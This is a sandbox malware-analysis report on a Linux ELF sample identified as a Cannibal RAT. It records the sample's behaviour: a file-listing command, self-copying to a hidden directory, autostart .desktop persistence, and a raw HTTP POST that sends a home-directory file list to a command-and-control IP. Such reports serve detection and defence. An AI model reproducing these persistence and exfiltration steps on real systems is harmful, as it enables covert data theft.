Edit tour

Linux Analysis Report
84.elf

Overview

General Information

Sample name:	84.elf
Analysis ID:	1522470
MD5:	51ac5f4bcffd208899ebe778c1725579
SHA1:	807c42578f63b569f37a95dc29267ef6c4ec9eea
SHA256:	684d950494951cda868a6d1d83e2ab8baedb7b4f2e8b079ab94771fb4fabd09a
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Sample and/or dropped files likely contain functionality related to malicious behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to persist itself using .desktop files

Uses known network protocols on non-standard ports

Writes ELF files to hidden directories

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "rm" command used to delete files or directories

Executes the "uname" command used to read OS and architecture name

Sample and/or dropped files contains symbols with suspicious names

Sample has stripped symbol table

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522470
Start date and time:	2024-09-30 07:37:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	84.elf
Detection:	MAL
Classification:	mal92.troj.evad.linELF@0/39@0/0

Runtime Messages

Command:	/tmp/84.elf
PID:	6254
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6228, Parent: 4332)

rm (PID: 6228, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz

dash New Fork (PID: 6229, Parent: 4332)

rm (PID: 6229, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz

84.elf (PID: 6254, Parent: 6159, MD5: 51ac5f4bcffd208899ebe778c1725579) Arguments: /tmp/84.elf

84.elf New Fork (PID: 6257, Parent: 6254)

84.elf (PID: 6257, Parent: 6254, MD5: 51ac5f4bcffd208899ebe778c1725579) Arguments: /tmp/84.elf

84.elf New Fork (PID: 6259, Parent: 6257)

ldconfig (PID: 6259, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /sbin/ldconfig -p

ldconfig.real (PID: 6259, Parent: 6257, MD5: cf725620cf31c0c148dfb25bfe210af6) Arguments: /sbin/ldconfig.real -p

84.elf New Fork (PID: 6260, Parent: 6257)

sh (PID: 6260, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -p 2> /dev/null"

sh New Fork (PID: 6261, Parent: 6260)

uname (PID: 6261, Parent: 6260, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -p

84.elf New Fork (PID: 6384, Parent: 6257)

sh (PID: 6384, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cd; find . -type f > /tmp/list.txt"

sh New Fork (PID: 6385, Parent: 6384)

find (PID: 6385, Parent: 6384, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: find . -type f

84.elf New Fork (PID: 6389, Parent: 6257)

sh (PID: 6389, Parent: 6257, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /root/.gvfs/84.elf"

sh New Fork (PID: 6390, Parent: 6389)

chmod (PID: 6390, Parent: 6389, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /root/.gvfs/84.elf

systemd New Fork (PID: 6262, Parent: 1)

uuidd (PID: 6262, Parent: 1, MD5: 9635fb70deacacfc235cf3b9fb4a96c4) Arguments: /usr/sbin/uuidd --socket-activation

cleanup

Suricata Signatures

ETPRO MALWARE Py/Cannibal RAT Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T07:41:49.103709+0200	2829852	1	Malware Command and Control Activity Detected	192.168.2.23	60528	84.247.176.126	33548	TCP

HTTP traffic detected: POST /api/root_265403912816988/upload HTTP/1.1Host: 84.247.176.126:33548Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.4Content-Length: 269Content-Type: multipart/form-data; boundary=12b1182436e74c268d609ba7cbab3f4cData Raw: 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 31 32 62 31 31 38 32 34 33 36 65 37 34 63 32 36 38 64 36 30 39 62 61 37 63 62 61 62 33 66 34 63 2d 2d 0d 0a Data Ascii: --12b1182436e74c268d609ba7cbab3f4cContent-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--12b1182436e74c268d609ba7cbab3f4c--

Source: libpython2.7.so.1.0.16.dr	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: cacert.pem.16.dr	String found in binary or memory: http://www.chambersign.org
Source: libpython2.7.so.1.0.16.dr	String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).
Source: libpython2.7.so.1.0.16.dr	String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype
Source: old_root.pem.16.dr	String found in binary or memory: http://www.valicert.com/
Source: PKG-INFO.16.dr	String found in binary or memory: https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master
Source: PKG-INFO.16.dr	String found in binary or memory: https://codecov.io/github/pyca/cryptography?branch=master
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://cryptography.io
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://cryptography.io/
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: PKG-INFO.16.dr	String found in binary or memory: https://github.com/pyca/cryptography
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://pypi.python.org/pypi/cryptography/
Source: 84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: PKG-INFO.16.dr	String found in binary or memory: https://travis-ci.org/pyca/cryptography
Source: PKG-INFO.16.dr	String found in binary or memory: https://travis-ci.org/pyca/cryptography.svg?branch=master

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Sample and/or dropped files likely contain functionality related to malicious behavior

Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_get_keylog_callback
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_keylog_callback
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_SESSION_print_keylog

Source: _ssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: _ssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: _ssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: _ssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: cryptography.hazmat.bindings._openssl.so.16.dr	ELF static info symbol of dropped file: Cryptography_pem_password_cb
Source: cryptography.hazmat.bindings._openssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: cryptography.hazmat.bindings._openssl.so.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libcrypto.so.1.1.16.dr	ELF static info symbol of dropped file: CMS_RecipientInfo_set0_password
Source: libcrypto.so.1.1.16.dr	ELF static info symbol of dropped file: CMS_add0_recipient_password
Source: libcrypto.so.1.1.16.dr	ELF static info symbol of dropped file: CMS_decrypt_set1_password
Source: libpython2.7.so.1.0.16.dr	ELF static info symbol of dropped file: PyOS_InputHook
Source: libpython2.7.so.1.0.16.dr	ELF static info symbol of dropped file: _PyImportHooks_Init
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: _rl_match_hidden_files
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_completion_word_break_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_directory_completion_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_directory_rewrite_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_event_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_execute_next
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_filename_rewrite_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_filename_stat_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_input_available_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_pre_input_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_signal_event_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_startup_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: rl_username_completion_function
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: tilde_expansion_failure_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: tilde_expansion_preexpansion_hook
Source: libreadline.so.7.16.dr	ELF static info symbol of dropped file: username_completion_function
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_password
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_username
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_username_callback
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_get_default_passwd_cb
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_get_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_get_srp_username
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_set_default_passwd_cb
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_set_default_passwd_cb_userdata
Source: libssl.so.1.1.16.dr	ELF static info symbol of dropped file: SSL_srp_server_param_with_username
Source: readline.so.16.dr	ELF static info symbol of dropped file: PyOS_InputHook
Source: readline.so.16.dr	ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: readline.so.16.dr	ELF static info symbol of dropped file: rl_pre_input_hook
Source: readline.so.16.dr	ELF static info symbol of dropped file: rl_startup_hook

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal92.troj.evad.linELF@0/39@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/84.elf (PID: 6257)

File: /proc/6257/mounts

Jump to behavior

Sample tries to persist itself using .desktop files

Source: /tmp/84.elf (PID: 6257)

File: /root/.config/autostart/gvfs.desktop

Jump to behavior

Writes ELF files to hidden directories

Source: /tmp/84.elf (PID: 6257)

File written to hidden directory: /root/.gvfs/84.elf

Jump to dropped file

Source: /tmp/84.elf (PID: 6257)	Directory: /root/.gvfs	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.config	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Directory: /root/.local	Jump to behavior

Source: /tmp/84.elf (PID: 6260)	Shell command executed: sh -c "uname -p 2> /dev/null"	Jump to behavior
Source: /tmp/84.elf (PID: 6384)	Shell command executed: sh -c "cd; find . -type f > /tmp/list.txt"	Jump to behavior
Source: /tmp/84.elf (PID: 6389)	Shell command executed: sh -c "chmod +x /root/.gvfs/84.elf"	Jump to behavior

Source: /bin/sh (PID: 6390)

Chmod executable: /usr/bin/chmod -> chmod +x /root/.gvfs/84.elf

Jump to behavior

Source: /usr/bin/dash (PID: 6228)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz			Jump to behavior
Source: /usr/bin/dash (PID: 6229)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.dyRqBbtRkK /tmp/tmp.wSbLfeKNbu /tmp/tmp.up7UPCnJlz			Jump to behavior

Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_cffi_backend.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_cn.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_hk.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_iso2022.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_jp.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_kr.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_codecs_tw.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_ctypes.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_hashlib.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_json.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_multibytecodec.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/_ssl.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/bz2.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._constant_time.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._openssl.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libbz2.so.1.0 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libcrypto.so.1.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libexpat.so.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libffi.so.6 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libpython2.7.so.1.0 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libreadline.so.7 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libssl.so.1.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libtinfo.so.5 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/libz.so.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/pyexpat.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/readline.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/resource.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/termios.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/certifi/cacert.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/certifi/old_root.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/certifi/weak.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/PKG-INFO (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/not-zip-safe (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/requires.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/84.elf (PID: 6254)	File: /tmp/_MEITTIAO4/cryptography-2.1.4-py2.7.egg-info/top_level.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6390)	File: /root/.gvfs/84.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_cffi_backend.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_cn.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_hk.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_iso2022.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_jp.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_kr.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_codecs_tw.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_ctypes.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_hashlib.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_json.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_multibytecodec.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/_ssl.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/bz2.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._constant_time.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/cryptography.hazmat.bindings._openssl.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libbz2.so.1.0	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libcrypto.so.1.1	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libexpat.so.1	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libffi.so.6	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libpython2.7.so.1.0	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libreadline.so.7	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libssl.so.1.1	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libtinfo.so.5	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/libz.so.1	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/pyexpat.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/readline.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/resource.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6254)	File written: /tmp/_MEITTIAO4/termios.so	Jump to dropped file
Source: /tmp/84.elf (PID: 6257)	File written: /root/.gvfs/84.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60486
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60488
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60490
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60492
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60494
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60496
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60498
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60502
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60504
Source: unknown	Network traffic detected: HTTP traffic on port 60506 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60506
Source: unknown	Network traffic detected: HTTP traffic on port 60508 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60508
Source: unknown	Network traffic detected: HTTP traffic on port 60510 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60510
Source: unknown	Network traffic detected: HTTP traffic on port 60512 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60512
Source: unknown	Network traffic detected: HTTP traffic on port 60514 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60514
Source: unknown	Network traffic detected: HTTP traffic on port 60516 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60516
Source: unknown	Network traffic detected: HTTP traffic on port 60518 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60518
Source: unknown	Network traffic detected: HTTP traffic on port 60520 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60520
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60522
Source: unknown	Network traffic detected: HTTP traffic on port 60524 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60524
Source: unknown	Network traffic detected: HTTP traffic on port 60526 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60526
Source: unknown	Network traffic detected: HTTP traffic on port 60528 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60528
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60530
Source: unknown	Network traffic detected: HTTP traffic on port 60532 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60532
Source: unknown	Network traffic detected: HTTP traffic on port 60534 -> 33548
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 60534

Source: _codecs_cn.so.16.dr

Dropped file: segment LOAD with 7.4298 entropy (max. 8.0)

Source: /tmp/84.elf (PID: 6257)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/ldconfig.real (PID: 6259)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 6261)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/find (PID: 6385)	Queries kernel information via 'uname':	Jump to behavior

Source: cacert.pem.16.dr

Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd

Source: /bin/sh (PID: 6261)

Uname executable: /usr/bin/uname -> uname -p

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	2 File and Directory Permissions Modification	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Hidden Files and Directories	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
